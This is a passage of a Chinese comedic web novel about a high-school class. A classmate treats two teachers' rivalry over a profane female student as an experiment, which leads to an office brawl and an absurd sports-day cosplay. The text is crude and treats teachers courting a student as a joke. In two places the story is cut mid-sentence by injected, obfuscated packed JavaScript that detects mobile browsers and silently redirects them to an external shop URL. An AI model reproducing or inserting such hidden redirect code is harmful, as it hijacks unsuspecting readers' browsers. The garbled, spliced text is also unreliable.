他立刻在政治课班级群里@全体成员：「今晚八点，线上诗歌朗诵会，特邀梦萱同学聆听我的新作《梦萱颂》。请同学们准时参加。」 全班：“？？？” 梦萱在群里回：「你有病？」 鲁平：「这是规则要求的亲密度任务。请你配合。」 梦萱：「配合你妈币！」 但她还是来了。 毕竟，她也好奇这秃顶老师能整出什么活。 --- 晚上八点，五班□□群语音频道。 在线人数：45人（全班到齐）+3人（梦萱、鲁平、张聪明强行加入）。 鲁平清了清嗓子，破锣嗓子在电流声里更显沧桑： “各位同学，晚上好。今天，我为大家朗诵我的原创诗歌《梦萱颂》。” 背景音里传来他翻纸的声音。 然后，他开始念： “第一章：晨光中的你 你走进教室，如台风过境 书包甩在桌上，如战鼓擂鸣 你说‘都他妈安静’，如法官宣判 那一刻，我看到了秩序之美” 全班在公屏刷： 「？？？？？」 「秩序之美？？？」 「老师您滤镜是不是太厚了？」 梦萱开麦：“停！别念了！” 鲁平：“还有三章。” “你特么嘴夹住！” “这是任务。”鲁平坚持，“规则2.0第4.3条：任务中断视为未完成，扣5点亲密度。” 梦萱：“哪来的规则2.0？！” 张聪明开麦：“啊～梦萱同学啊～邮件收到了啊～” 梦萱：“什么邮件？” 洐沁赶紧私聊我：“实验出现意外，她不知情。现在怎么办？” 我：“你搞出来的，你收拾。” 洐沁：“求了求了，班长大人~~~” 我：“滚啊，你真恶心……” 不过我还是在群里说：“老师，可能发错人了。这是年级文艺部的活动通知。” 鲁平：“文艺部？可上面写的是‘鱼塘管理规则2.0’……” 张聪明：“对啊～还有亲密度任务啊～” 我面不改色：“那是文艺部的内部代号。‘鱼塘’指文艺人才库，‘亲密度任务’指培养演员默契度的练习。” 沉默。 长达三十秒的沉默。 然后鲁平说：“所以……我不用念了？” “不用了老师。”我说，“抱歉，发错群了。” 鲁平：“那我这诗……” “可以投稿给校刊。”洐沁说，“标题改成《致青春》。” “好。”鲁平满意了，“那我下了。” 张聪明也退了。 梦萱在群里发了条语音，笑得喘不过气：“你们两个老东西……哈哈哈哈……还他妈诗歌朗诵……笑死我了……” 她笑完，又说：“不过诗写得还行，至少比张聪明那‘啊字造句’强。” 然后她也退了。 全班在群里刷屏： 「班长牛逼！」 「这都能圆回来？」 「鲁老师真写诗了啊！」 洐沁私聊我：“实验失败，但收获意外数据：鲁平的诗歌创作能力超出预期，张聪明的‘啊字造句’已形成个人风格。另外，梦萱对诗歌的接受度高于预期，可考虑以此作为新的接触点。” 我：“你还想继续实验？” 洐沁：“当然。下一步，我打算引导两位老师进行‘才艺比拼’。” 我：“你又要拿我当挡箭牌是吧。” 洐沁：“没有啦~我们班长大人不会抛弃我的对不对？【哭哭脸】” “……傻逼，比如？” “咳咳……比如，让鲁平给梦萱画肖像画，让张聪明给她编数学题。”洐沁兴致勃勃，“看谁的作品更能打动她。” 我放下手机，看着天花板。 我的同桌，正在用科学的方法，把两位老师和一位颠婆，驯化成她的实验小白鼠。 而他们，居然还挺配合。 这世界，没救了。 --- 周五，大雄的“骂夸症”症状加剧。 体育课，梦萱练跳远又摔了个狗吃屎。 大雄跑过去扶她，梦萱骂：“你教的什么破方法！害我摔跤！” 大雄认真道歉：“对不起，是我没教好。但你摔跤的姿势很优美，像芭蕾舞演员谢幕。” 梦萱：“？？？” “真的。”大雄比划，“你落地时手臂展开，腿伸直，很有艺术感。” 梦萱盯着他看了半天，突然说：“你脑子是不是被铅球砸过？” “没有。”大雄老实摇头，“但我小时候摔过头，缝了五针。” “难怪。”梦萱站起来，拍拍土，“继续教。再摔一次，我让你也尝尝摔跤的滋味。” “好。”大雄乐呵呵地继续教。 旁观的三班同学窃窃私语： “大雄是不是喜欢被骂？” “可能吧，你看他笑得多开心。” “这什么癖好啊……” 五班观察员发回报告：「大雄对梦萱的侮辱耐受度已达SSS级，建议申请吉尼斯世界纪录。」 洐沁回复：「已记录。另，请观察梦萱是否对‘骂夸反馈’产生依赖。」 答案是：产生了。 下午训练时，梦萱每跳一次，就要骂大雄一句，然后等大雄的“夸奖式回应”。 “姿势像僵尸！”——“但僵尸跳得很远，有研究价值。” “起跳像□□！”——“□□是两栖动物，适应性强。” “落地像地震！”——“说明你力度大，有爆发力。” 两人一来一往，像在说相声。 远处，鲁平和张聪明站在操场边，看得脸色发青。 张聪明：“啊～他们关系真好啊～” 鲁平：“那是病态。” 张聪明：“年轻就是有活力啊～” 鲁平：“那是幼稚。” 嘴上这么说，但两人都没走。 直到训练结束，梦萱和大雄一起离开操场——大雄还帮梦萱背着书包。 鲁平突然说：“我年轻的时候……也挺擅长运动。” 张聪明：“啊～我年轻的时候也挺受欢迎啊～” 两人对视一眼，同时转身，各走各的。 背影萧瑟得像两条被遗弃的老狗。 --- 周六，洐沁的“才艺比拼”计划正式启动。 她分别给两位老师发了“匿名建议”： 给鲁平：「梦萱同学对艺术有独特见解，或许一幅肖像画能让她看到您的用心。」 给张聪明：「梦萱同学数学薄弱，一道为她量身定制的数学题，可能比奶茶更能打动她。」 鲁平收到建议后，立刻去美术器材室借了画板、颜料、素描纸。 但他遇到了技术难题：他不会画画。 据在办公室偷听的五班同学汇报，鲁平给美术老师打电话： “王老师，请教一下，人物肖像……怎么画？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064645|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “先画轮廓？轮廓……是指脸型吗？” “她脸型……嗯……比较圆润，额头饱满，发际线……这个要如实画吗？” “眼睛……她眼睛不大，但很有神，怎么表现‘神’？” “嘴……她嘴型偏薄，但说话很有力……” 电话打了半小时。 最后鲁平抱着一堆美术书回了办公室。 张聪明那边更离谱。 他坐在办公桌前，对着一本《趣味数学》，眉头紧锁。 “一道为她量身定制的题……”他喃喃自语，“要结合她的特点……她喜欢骂人……有了！” 他奋笔疾书： 【梦萱专属数学题】 已知：梦萱同学每分钟能说5句脏话，每句脏话平均包含2个生殖器词汇和1个亲属称谓。 问：如果她连续骂人30分钟，共涉及多少个生殖器词汇？多少个亲属称谓？ 若每个生殖器词汇使她魅力值-1，每个亲属称谓使她魅力值-0.5，求30分钟后她的总魅力值变化量。 （假设初始魅力值为100） 写完，他欣赏了一会儿，觉得不妥：“啊～这样好像在讽刺她啊～” 他划掉，重写： 【梦萱专属数学题·改良版】 已知：梦萱同学每天收到奶茶x杯，其中鲁老师贡献y杯，张老师贡献z杯。 若x=2，y+z=2，且y>z时梦萱满意度+10，y<> 求：如何分配y和z，使梦萱满意度最大化？ （附加题：若加入大雄同学送的矿泉水，满意度函数会如何变化？） 这次他满意了：“啊～既体现了数学应用～又结合了现实～” 他把题抄在精美的便签纸上，还画了个爱心。 --- 周一，两位老师的“才艺”同时呈上。 鲁平在政治课前，把画架搬到教室，上面盖着一块布。 “同学们，”他严肃地说，“今天我们先欣赏一幅作品，再上课。” 他掀开布。 全班倒吸一口凉气。 画上的人……确实是梦萱。 但，是抽象派的梦萱。 脸是圆的，但圆得不规则，像被揉过的包子。 眼睛是两个黑点，但点的位置一高一低。 嘴巴是一条波浪线，表示“在说话”。 头发……根本没画发际线，直接涂了一团棕色，上面还点了几个红点——代表痘痘。 最绝的是额头上的题字：《桀骜的灵魂》 鲁平开始讲解：“这幅画，我用了表现主义的手法。扭曲的脸型象征她对抗世界的姿态；不对称的眼睛代表她多角度的观察；波浪线的嘴表现她永不停止的言说；头上的红点不是痘痘，是思想的火花……” 全班寂静。 然后爆发出雷鸣般的掌声——实在是憋不住笑了。 梦萱本人也在三班看到了这幅画——鲁平特意把画架搬到走廊，确保她路过时能看到。 据目击者称，梦萱看了三秒，说：“这画的什么鬼？” 鲁平解释：“这是艺术……” “艺术个蛋！”梦萱指着画，“这他妈像我？我哪有这么丑！” “这是抽象……” “抽象个几把啊！”梦萱气得笑了，“行，你特么等着。” 她走了。 鲁平站在原地，有些失落，但很快振作：“至少她看了。” 五分钟后，张聪明登场。 他拿着那张精美的便签纸，找到梦萱：“梦萱同学啊～老师给你出了道专属数学题啊～” 梦萱接过，看了十秒。 然后她开始念题：“已知梦萱同学每天收到奶茶x杯……鲁老师贡献y杯……张老师贡献z杯……求如何分配使满意度最大化……” 她念完，抬头看张聪明：“你闲得蛋疼？” 张聪明：“啊～这是数学应用……” “应用你妈！”梦萱把纸撕了，“你们两个老东西，一个把我画成鬼，一个把我当数学题算！有病就去治！” 她气冲冲地走了。 张聪明捡起撕碎的纸，小心翼翼地拼好，对旁边的学生说：“她只是还没理解数学的美啊～” 当天下午，鱼塘管理规则出了紧急补充条款： 补充条款四：禁止以任何形式将鱼塘主艺术化、数字化、符号化。违者停投两周。 补充条款五：再敢送奇葩礼物，直接踢出鱼塘。 补充条款六：正常点，求你们了。 鲁平和张聪明收到条款后，同时叹了口气。 然后同时去小卖部买了最普通的矿泉水，准备明天老老实实投喂。 --- 晚上，洐沁在观察笔记上总结： 「实验结论：两位老师的“创意追求”均告失败，回归原始投喂模式。原因：颠婆的审美仍停留在物质层面，尚未进化到精神层面。但值得注意的是，她对大雄的“骂夸互动”接受度良好，说明她需要的是情绪价值，而非物质或艺术。」 「下一步研究方向：如何将情绪价值量化，并纳入鱼塘管理体系？」 我看完，问她：“你还想继续？” “当然。”洐沁眼睛发亮，“运动会快到了，那才是真正的实验场。我预测，在竞争压力下，三角关系会爆发质变。” “……比如？” “比如，”她神秘一笑，“有人会为了赢，不择手段。” “谁？” “所有人。”洐沁合上笔记，“包括我们。” 她顿了顿，补充：“对了，开幕式表演，我改方案了。” “改成什么了？” “全班cosplay成各种鱼。”洐沁说，“鲁平是秃头金鱼，张聪明是油腻锦鲤，大雄是憨憨鲤鱼，梦萱是食人鱼。我扮演鱼塘主，你扮演捕鱼人。” 我：“……这能过审？” “张聪明会说‘啊～你们自己决定啊～’”洐沁模仿得惟妙惟肖，“所以我们自己决定。” 我看着她兴奋的表情，突然觉得，这个班级，这个学校，这个宇宙…… 都他妈太抽象了。 但，还挺有意思。 12. 第 12 章 运动会前一周，高二教师办公室的气氛，紧张得能拧出奶茶。 导火索是张聪明一句无心的“啊～”。 周二下午，老师们在闲聊运动会分工。张聪明端着保温杯，晃着肚子说：“啊～三班的梦萱同学跳远姿势有问题啊～我得去指导指导啊～” 鲁平正在批作业，笔尖“咔嚓”断了。 “你指导？”鲁平抬头，秃顶反射出危险的光，“你数学老师，指导跳远？” “体育老师忙啊～”张聪明理所当然，“我大学时练过三级跳啊～” “三级跳和跳远是两码事。” “原理相通啊～” “不相通。”鲁平站起来，破锣嗓子提了一个八度，“起跳角度、空中姿态、落地缓冲——完全不同。你这叫误人子弟。” 办公室其他老师默默端起茶杯，战术性撤退到安全距离。 五班语文老师周敏偷偷掏出手机，在教师小群里发：「要打起来了，赌谁赢？我押鲁平，好歹年纪大。」 三班物理老师回复：「我押张聪明，吨位压制。」 校长秘书：「已截图，年终考核扣分。」 两位老师：日////狗了，吃个瓜容易么 张聪明被怼，面子挂不住：“啊～鲁老师这么懂～你去教啊～” “我是要教。”鲁平从抽屉里掏出一本《田径训练学》，“我研究三天了。” “你政治老师教跳远？更离谱啊～” “至少我做了功课！” “我也有功课啊～”张聪明从包里掏出一张纸——是他之前编的那道“梦萱专属数学题”改良版，“我把运动数据数学模型化啊～更科学啊～” 鲁平瞥了一眼题目，冷笑：“‘满意度函数’？你这是教数学还是教谈恋爱？” “你管我啊～” “我就要管！” 战争，从这一刻开始，正式从文斗转向武斗。 --- 第一回合：文具暗器战 张聪明抓起一支白板笔扔过去——没扔准，砸到了刚进门的生物老师头上。 生物老师：“？？？” 鲁平反击，抓起一盒回形针天女散花。回形针在张聪明油亮的头发上挂住了几个，像奇怪的金属发饰。 张聪明怒了，抓起订书机——想了想又放下，换了本软皮书扔过去。 是《班主任工作手册》。 鲁平接住书，看了一眼封面，更怒：“你拿这个砸我？讽刺我不当班主任？” “对啊～你管得着啊～” 鲁平抄起自己的保温杯——没扔，舍不得，里面泡着枸杞。他换了个塑料文件夹扔过去。 文件夹在空中展开，里面的试卷飘散如雪。 其中一张飘到了校长室门口。 校长刚好出来，捡起试卷，看到上面写着：「高二政治月考——梦萱，分数：12。」 校长沉默了三秒，退回办公室，关上了门。 战术性无视。 --- 第二回合：贴身肉搏 张聪明仗着体重优势，一个“油腻冲撞”扑向鲁平。 鲁平敏捷闪避——他练瑜伽的，柔韧性好，一个下腰躲过，顺手抄起墙角的扫把。 “你别过来！”鲁平挥舞扫把，“我有武器！” “扫把算什么武器啊～”张聪明抓起拖把，“我也有啊～” 于是，高二教师办公室出现了奇幻一幕： 一个秃顶政治老师和一个油腻数学老师，各持一把清洁工具，像中世纪骑士决斗般对峙。 扫把vs拖把。 秃鹫vs油蛆。 其他老师已经退到走廊，有人开始录像。 五班班长程穗（我）和观察员洐沁被叫来送作业，正好目睹这一幕。 洐沁立刻进入研究状态：“清洁工具象征他们试图‘净化’对方在梦萱心中的形象。但用污秽工具进行净化，本身就是矛盾。这很有哲学意味。” 我：“……现在是分析的时候吗？” “时刻保持学术思维。”洐沁掏出笔记本，“记录：两位中年男性教师，为争夺一名女学生的‘指导权’，在公共办公场所使用卫生工具进行决斗。这可以写进《当代教育异化现象研究》。” 那边，战斗升级了。 张聪明使出一招“拖把横扫”，鲁平“扫把格挡”，塑料柄碰撞发出“啪啪”声。 “你就不能放弃吗？”鲁平气喘吁吁，“你根本不懂运动！” “你懂？你跑个一千米试试啊～” “我练瑜伽！比你有柔韧性！” “柔韧性有什么用啊～跳远要爆发力啊～” “爆发力我也行！” 鲁平突然扔掉扫把，做了个深蹲起跳的姿势——但他忘了手里还拿着保温杯。 枸杞水泼了一地，几颗枸杞粘在了张聪明的衬衫上，像诡异的红色纽扣。 张聪明低头看衬衫，怒了：“我刚买的啊～三百块啊～” “赔你就是！” “赔？你赔得起吗？你一个月工资多少啊～” 人身攻击开始了。 --- 第三回合：言语核武 鲁平：“你有几个子啊，班主任工资就高300！” 张聪明冷笑：“我工资是高不了多少啊~但至少头发还在努力生长啊~” 暴击。 鲁平摸了下自己明镜般的脑袋瓜子，眼睛红了：“你什么意思？” “字面意思啊~” 鲁平指着他的头发，“你有德性你天天抹这么多发胶，油得能炒菜了，还天天抹，不怕着火？” “你那秃顶能当镜子照啊！还好意思说我啊！” “我是天然秃！你是人工油！” “天然秃更丢人！” “人工油更恶心！” 两人越骂越离谱，从头发骂到穿衣，从穿衣骂到教学水平。 “你讲课学生全睡觉！” “你讲课学生全溜号啊～” “我至少不说‘啊～’！” “我那是语气词啊～你有吗？你有吗？” “我需要吗？！” “你需要你也学不会啊～” 此时，办公室外已经围了三层学生。 梦萱也在其中——她是被跟班叫来的，说“有热闹看”。 她挤到前排，看到两位老师拿着清洁工具对骂，愣了一下，然后爆笑。 “打呀！”她起哄，“光骂有什么用！动手啊！” 鲁平和张聪明同时转头看她。 那一刻，他们眼神里闪过同样的情绪：窘迫，尴尬，还有一丝……“不能在她面前丢脸”的倔强。 于是，他们真的动手了。 --- 第四回合：真正的肢体冲突 张聪明扔掉拖把，一个熊抱扑向鲁平。 鲁平被扑得后退三步，撞翻了档案柜。文件夹哗啦啦倒下，其中一份飞出窗外——后来发现是明年的招生计划。 两人滚倒在地。 是真的滚。 鲁平在下面，张聪明在上面，两人扭成一团，像两条在泥潭里打架的鲶鱼。 “放手！”鲁平喊。 “你先放啊～” “你压到我头发了！” “你哪有头发啊～” “有！边上还有几根！” 梦萱笑到拍墙：“对对对！揪他边上那几根！揪下来当纪念品！” 张聪明真的伸手去揪。 鲁平惨叫——虽然不疼，但屈辱。 他一个翻身，反压住张聪明，但张聪明肚子太大，压不住，又滑下来。 两人就这么滚来滚去，从办公室东头滚到西头，撞翻了三把椅子、两个垃圾桶、一个盆栽。 盆栽是语文老师周敏的心头肉——一盆多肉，养了三年。 周敏：不！！！！！！ 多肉飞出去，在空中划出优美的抛物线，精准地砸在刚进门的年级主任头上。 年级主任：“我靠！！！” 全场寂静。 年级主任把头上的多肉拿下来，看了看，又看了看地上扭打的两位老师，沉默。 然后他说：“继续。” 转身走了。 年级主任，也是明白人。 知道这时候打断，会出人命——不是老师们的命，是他自己的命。 --- 第五回合：道具战升级 张聪明摸到了地上的白板擦，抓起一把粉笔灰撒向鲁平。 鲁平被糊了一脸，像个骷髅头。 他怒了，抓起旁边老师的假发——那位老师是戴假发的，今天请假，假发放在桌上保养。 鲁平把假发扣在张聪明头上。 张聪明愣住了。 那是一顶女式波浪卷假发，栗色，带刘海。 张聪明顶着这顶假发，配上他油光满面的脸和愤怒的表情，像刚做完头发的暴怒大妈。 围观学生憋笑憋到抽搐。 梦萱笑到蹲在地上：“哈哈哈哈哈哈！张老师！你这样好像我姨妈！” 张聪明一把扯下假发，看到是女式的，更怒：“鲁平！你太过分了！” “你先撒粉笔灰的！” “那是战术！” “我这也是战术！” 张聪明把假发扔回去，鲁平接住，想了想，戴在自己头上。 他是秃顶，戴假发反而合适。 一顶女式波浪卷假发，扣在反光的秃顶上，竟然……毫无违和感？ “我去！”有学生惊呼，“鲁老师戴假发还挺好看！” 鲁平下意识摸了下假发，脸红了。 张聪明见状，更怒：“你给我摘下来！” “不摘！” “摘下来！” “有本事你来摘啊～~”鲁平学张聪明的语气，还拖了个长音。 张聪明气疯了，又扑上去。 两人再次扭打，这次都顶着假发——张聪明抢回了假发，但戴反了，波浪卷朝后，像奇怪的尾巴。 场面已经抽象到无法用语言描述。 洐沁在笔记本上疯狂记录：「假发作为权力象征的争夺。戴假发者获得暂时的‘完整感’，但假发的女性属性又带来性别认知混乱。这是中年男性身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064646|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份焦虑的极端外化。」 我：“你能说人话吗？” 洐沁：“他们在用假发打架，很蠢，但很有研究价值。” --- 终章：校长降临 校长终于来了。 不是自己想来的，是教育局突然来检查，他带领导走到高二年级，听到办公室震天响，不得不来。 推开门，看到的是这样的画面： 鲁平和张聪明坐在地上，气喘吁吁，头发凌乱（鲁平的几根幸存头发竖着，张聪明的发胶塌了），衣服扣子崩了两颗，脸上有粉笔灰。 地上散落着文件夹、试卷、文具、清洁工具、盆栽土、枸杞。 还有一顶女式假发，被踩扁了。 教育局领导：“这……是教师办公室？” 校长面不改色：“是的，我们在进行……教师压力释放演练。新式教学方法，促进同事感情。” 领导：“用假发？” 校长：“道具，象征束缚。打破束缚，释放真我。” 领导似懂非懂地点头：“很有创意。” 校长赶紧关门，把领导哄走。 然后，他转身，看着两位老师，沉默。 长达一分钟的沉默。 最后他说：“运动会结束后，每人交一份五千字检讨，罚500。现在，收拾干净。” 走了。 校长，也是见过大场面的人。 --- 尾声：胜利者是谁？ 两位老师瘫在地上，对视。 张聪明：“啊～累死我了～” 鲁平：“你该减肥了。” “你该生发了。” 两人同时笑了。 苦笑。 这时，梦萱走进来，蹲在他们面前，笑眯眯地说：“打完了？谁赢了？” 两人沉默。 “看样子是平手。”梦萱说，“那这样，运动会跳远比赛，你们俩一起指导我。谁的方法让我跳得远，谁就赢。” 鲁平：“真的？” 张聪明：“啊～说话算话啊～” “算话。”梦萱站起来，“不过现在，先把办公室收拾了。我看着你们收拾。” 她拉了把椅子坐下，跷起二郎腿，像个监工。 两位老师对视一眼，默默爬起来，开始收拾。 一个扫地的，一个拖地的，配合默契。 梦萱看着，突然说：“其实你们打架的样子，挺有意思的。” 两人动作一顿。 “比平时那副老师样有意思多了。”梦萱笑了，“继续保持。” 她走了。 留下两位老师，一个拿着扫把，一个拿着拖把，站在原地，若有所思。 那天之后，教师办公室多了一条新规定： 「禁止私藏假发，禁止使用枸杞作为武器，禁止在上班时间进行任何形式的‘压力释放演练’。」 而鲁平和张聪明的关系，微妙地改善了。 他们还是会争，但不再动手。 取而代之的，是一种奇怪的默契。 比如，鲁平买奶茶时，会给张聪明也带一杯。 张聪明编数学题时，会给鲁平也编一道“政治逻辑题”。 用洐沁的话说：「从竞争关系进化为‘竞争性协作关系’。他们意识到，单打独斗赢不了，必须联盟对抗更大的威胁——时间和发际线。」 更大的威胁，其实是大雄。 但两位老师还没意识到。 或者说，不愿意识到。 --- 放学后，洐沁召开五班战后分析会。 “今天的观察收获巨大。”她说，“我们见证了中年男性求偶行为的极端形态。接下来，运动会将是最终战场。” “我们的开幕式怎么办？”王鑫问，“真要cos鱼？” “必须cos。”洐沁坚定，“而且我已经设计了更精彩的剧本。” “什么剧本？” 洐沁在白板上画示意图： “开幕式，我们班入场时，鲁平和张聪明会站在主席台两侧。当他们看到我们cos的鱼时，会有什么反应？” “震惊？无语？” “不止。”洐沁微笑，“我安排了一个环节：梦萱和大雄会穿着‘食人鱼’和‘憨憨鲤鱼’的cos服，在队伍最前面。而两位老师，会看到他们并肩而行。” “然后呢？” “然后，就会发生一些……化学反应。”洐沁眼睛发亮，“我已经迫不及待要记录数据了。” 全班沉默。 最后，王鑫说：“洐沁，你真的……不考虑当个正常人吗？” 洐沁推了推不存在的眼镜：“在这个班级，正常才是病。” 我：尼玛批的 好吧，其实她说得对。 在这个全员抽象的高二五班，正常，反而是最格格不入的。 而我，作为班长，唯一能做的，就是…… 陪着他们一起疯。 毕竟，火锅快到手了。 毕竟，这样的高中生活，一辈子可能就这一次。 那就，疯个彻底吧。 13. 第 13 章 运动会当天，天气晴朗，阳光明媚，适合晒太阳、吃零食、以及观看人类迷惑行为大赏。 五班的“鱼类cosplay”计划，在洐沁的魔鬼督导下，成功升级为“水产市场暴动模拟”。 早上七点，教室。 同学们看着自己分到的“鱼服”，沉默了。 王鑫举着一件用蓝色垃圾袋和纸板拼成的“鲨鱼服”，声音颤抖：“这……穿出去会社会性死亡吧？” “不会。”洐沁推了推眼镜，“社会性死亡的前提是社会接纳。我们本来就活在社会边缘，不存在死亡。” “说人话。” “哎呀，反正都抽象，不如抽象到底。”洐沁穿上她自制的“鱼塘主套装”——一件绿色雨披，头上戴个渔夫帽，手里拿根绑着网兜的竹竿。 我分到的是“捕鱼人”，服装相对正常：迷彩服、雨靴、一顶草帽。但洐沁给我加了个道具——一个玩具鱼叉，叉头上还挂着条塑料咸鱼。 “这是干什么？”我拎着咸鱼。 “象征意义。”洐沁说，“你作为班长，要负责把跑偏的鱼叉回正轨。” “我觉得我已经在正轨外了。” “那就一起偏。”洐沁拍拍我，“记住，入场时表情要严肃，像真的在捕鱼。” 七点半，操场。 其他班级的入场式：一班摆数字，二班跳街舞，三班……三班没来。 “三班人呢？”有老师问。 正说着，远处传来鼓乐声。 三班出现了。 他们穿着统一的红色运动服，排着整齐的方阵，领头的是梦萱——她没穿红色，穿了身亮片紧身衣，像夜店领舞。 走到主席台前，梦萱一挥手，三班全体突然蹲下，开始……打军体拳？ “哈！” “嘿！” “哈！” 动作整齐，气势如虹，如果忽略他们一边打拳一边念的口号： “三班三班！全是猛男！不服来战！打到你瘫！” 裁判席上的老师们表情复杂。 主任小声对旁边校长说：“这口号……是不是有点暴力？” 校长：“青少年要有血性。” 梦萱打完一套拳，对着话筒喊：“今天，我要拿三块金牌！跳远、百米、还有……看谁不爽就揍谁项目！” 全场哄笑。 梦萱满意下台。 接下来是四班、六班……都正常得乏善可陈。 直到—— “现在入场的是高二五班！”广播响起。 音乐变了。 不是运动员进行曲，是……《渔舟唱晚》？ 我：对，我找的音乐。 五班方阵从入口缓缓走出。 前排，王鑫穿着“鲨鱼服”，因为纸板太硬，走路像僵尸，每一步都发出“咔嚓”声。 后排，赵倩扮成“小丑鱼”，脸上画着橙色条纹，但颜料没干，流下来像在哭。 中间，刘浩扮“电鳗”，手里举着两根缠着彩灯的棍子，一开开关，棍子短路了，冒出一缕青烟。 最绝的是队伍正中央—— 鲁平和张聪明被洐沁强行拉进方阵，分别扮成“秃头金鱼”和“油腻锦鲤”。 鲁平的“金鱼服”是橙色雨衣，头上顶了个红色气球当“头瘤”——但气球吹太大，风一吹就把他带得踉跄。 张聪明的“锦鲤服”是银色亮片外套，肚子上贴了张打印的“福”字，走起路来亮片反光，能闪瞎人眼。 “我为什么要穿这个啊～”张聪明小声抱怨。 “为了班级荣誉。”我严肃地说，“而且，梦萱在看。” 两位老师立刻挺直腰板。 主席台上，校长眯起眼睛看了半天，问旁边的主任：“这是……新型环保宣传？” 主任：“好像是……鱼类cosplay？” “有什么教育意义？” “呼吁保护海洋……吧？” 这时，五班走到主席台前。 洐沁一挥手。 全班突然停下，开始表演她编排的“鱼类之舞”。 动作包括：模仿鱼摆尾（集体扭屁股）、模仿鱼吐泡（集体嘟嘴“噗噗噗”）、模仿鱼缺氧（集体翻白眼抽搐）。 我：已社死勿call 鲁平和张聪明被安排在C位，动作最夸张。 鲁平扭屁股时，秃顶上的气球“砰”一声炸了。 张聪明翻白眼时，假睫毛掉了一只。 全场死寂三秒。 然后爆发出山崩地裂的笑声。 连三班都笑趴了。 梦萱指着张聪明掉在地上的假睫毛，笑得直拍大腿：“哈哈哈哈！张老师！你什么时候粘的假睫毛！” 张聪明脸通红，小声说：“啊～为了角色完整啊～” 校长在主席台上，拿着话筒，想说什么，又放下，最后只说了一句：“五班……很有创意。” 这是他能想到最宽容的评价。 下场时，五班同学互相搀扶——不是感动，是笑得腿软。 洐沁边走边记录：「公开处刑完成，社交恐惧症治愈率预计提升300%。」 --- 比赛开始。 第一项：女子百米。 梦萱参赛。 起跑线上，她做着夸张的热身动作：高抬腿、后踢腿、还来了个劈叉——没劈下去，卡在半空，被裁判扶起来了。 发令枪响。 梦萱像炮弹一样冲出去——可惜是哑炮，起跑慢了半拍。 但她追得猛，边跑边喊：“挡我者死！” 旁边跑道的女生被她吓到，差点摔跤。 女生：死颠婆离我远点啊！！！ 最后梦萱第三名。 她冲过终点线，没停，直接冲到裁判席：“我要求重赛！有人干扰我！” 裁判：“谁干扰？” “她！”梦萱指着旁边跑道的女生，“她呼吸声太大，影响我节奏！” 女生：？？？你的脸比城墙还厚呢铁子 裁判：“呼吸声？” “对！她喘得像破风箱！” 女生委屈：“我哮喘……” “哮喘别来比赛啊！”梦萱理直气壮。 女生：傻逼 最后裁判没理她。 梦萱气呼呼地走了，边走边脱运动鞋扔地上：“破鞋！害我输！” 鞋飞出去，砸中了正在场边热身的铅球选手。 铅球选手是张大雄。 他被砸中后背，愣了一下，捡起鞋，憨憨地问：“谁的鞋？” 梦萱光着一只脚跳过来：“我的！给我！” 大雄递过去，还补充一句：“你脚……挺小的。” 梦萱：“废话！老娘36码！” “像小孩的脚。”大雄说，“很可爱。” 梦萱瞪他：“你再说一遍？” “很可爱。” 梦萱沉默三秒，抢过鞋穿上，走了。 走了几步又回头：“你铅球几点？” “十点。” “拿不到金牌别来见我。” “好。”大雄认真点头。 远处，鲁平和张聪明全程目睹。 鲁平：“她在命令他。” 张聪明：“啊～关系真好啊～” 两人对视，眼中闪过同样的酸意。 --- 第二项：男子铅球。 大雄上场前，梦萱走过来，往他手里塞了颗糖：“吃了，补充能量。” 是颗水果糖，橘子味的。 大雄剥开糖纸，塞进嘴里，憨笑：“甜。” “废话，糖能不甜吗？”梦萱踹他一脚，“快去！” 大雄上场。 他身高体壮，动作标准，铅球在空中划出完美抛物线——然后砸在了裁判脚边半米处。 裁判吓得跳起来。(内心os：卧槽！谋杀！) 成绩：12米，暂列第一。 大雄憨憨地笑，看向梦萱。 梦萱竖起大拇指，用口型说：“还行。” 大雄笑得更开心了。 第二投，他可能太兴奋，旋转投掷时没站稳，铅球脱手，飞向了……观众席。 观众席上坐着鲁平和张聪明。 铅球朝他们飞去。 鲁平反应快，一把推开张聪明，自己侧身躲开。 铅球砸在他们身后的空椅子上，把椅子砸塌了。 全场寂静。 大雄愣在原地。 裁判吹哨：“投掷出界！成绩无效！” 梦萱冲过来，指着大雄鼻子骂：“你他妈是不是傻波一！往哪儿扔呢！” 大雄低头：“对不起……” “对不起有用吗？要是砸到人怎么办？！” “我……” “我什么我！去道歉！” 大雄乖乖走到观众席，对鲁平和张聪明鞠躬：“老师对不起。” 鲁平惊魂未定，但还是说：“没关系……下次注意……” 张聪明拍着胸口：“啊～差点就见阎王了啊～” 梦萱走过来，对大雄吼：“愣着干嘛？继续比啊！” 大雄回去第三投，正常发挥，11.5米，总成绩第三名。 颁奖时，他拿到铜牌，第一时间跑向梦萱：“给你。” 梦萱：“给我干嘛？” “你让我拿金牌，我没拿到……”大雄低头，“铜牌也行吗？” 梦萱盯着他看了几秒，接过铜牌，挂在自己脖子上：“行吧，凑合。” 她又补一句：“下次我要金的。” “好。”大雄用力点头。 鲁平和张聪明看着这一幕，表情像吃了柠檬。 张聪明：“啊～铜牌就换到一个‘凑合’啊～” 鲁平：“我们送奶茶，她只说‘放那儿’。” 两人同时叹气。 --- 第三项：女子跳远。 这是重头戏。 